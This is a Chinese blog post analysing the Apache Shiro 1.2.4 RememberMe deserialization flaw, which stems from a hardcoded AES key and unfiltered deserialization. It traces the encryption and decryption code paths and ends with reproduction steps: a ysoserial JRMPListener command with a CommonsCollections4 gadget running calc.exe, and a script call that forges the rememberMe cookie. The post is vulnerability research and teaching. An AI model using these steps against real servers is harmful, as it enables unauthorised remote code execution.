Shiro反序列化分析

环境

jdk:1.8

shiro:1.2.4

Shiro简介

  Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞原理

  Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
  rememberMe生成过程:
  序列化 》AES加密》Base64 编码》 生成rememberMe内容
  服务端接收cookie值时:
  检索cookie中的rememberMe内容 》 Base64 解密》 AES解密 (加密密钥硬编码)》反序列化(未作过滤处理)
  AES的加密密钥在shiro的1.2.4之前版本中使用的是硬编码,其默认密钥的base64编码后的值可在代码中找到。只要找到密钥后就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
漏洞分析
1.加密过程

  勾选rememberme进行登录。

 

  在AbstractRememberMeManager类中的encrypt方法处下断点。在验证登录成功后,serialized的值为用户名root序列化后的数据。

   查看cipherService值,发现使用AES加密,模式为CBC,128位,填充方式为PKCS5Padding。

   跟进cipherService.encrypt方法后,进入JcaCipherService类中的encrypt方法中。

   继续跟进encrypt方法。

   真正的生成加密结果。

   来到rememberSerializedIdentity方法,跟进后,加密的数据经base64编码加入到cookie中。

2.解密过程

  在CookieRememberMeManager类中的读取cookie处下断点。

  进入readValue()方法,将cookie中的remember字段值赋予value并返回。

   对数据进行base64解码。

   进入AbstractRememberMeManager类中的convertBytesToPrincipals方法。

  跟进decrypt方法。

  在decrypt方法中,跟进getCipherService方法。

  在getCipherService方法中,获取加密方法:AES/CBC/PKCS5Padding。

   继续查看decrypt方法,通过cipherService的decrypt来解密数据,跟进后进入JcaCipherService类中的decrypt方法。

  继续跟进decrypt方法。

  完成解密后,返回解密后的数据。

  回到AbstractRememberMeManager 类中的decrypt方法,查看序列化数据。

  来到deserialize方法,跟进。

  继续跟进deserialize方法。

  进入DefaultSerializer类中的deserialize方法,出现readObject()。

漏洞复现

1.使用ysoserial中JRMP监听模块监听1099端口,执行命令:calc.exe。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "calc.exe"

2.生成rememberMe。

python exp.py 192.168.1.102:1099

3.将生成的rememberMe值添加到cookie中。

 4.命令成功执行。

参考链接:

https://xz.aliyun.com/t/8997#toc-1

https://www.jianshu.com/p/a9c2d3414b63

https://cloud.tencent.com/developer/article/1078421

posted @ 2021-03-09 18:25  liangzai6  阅读(4531)  评论(0编辑  收藏  举报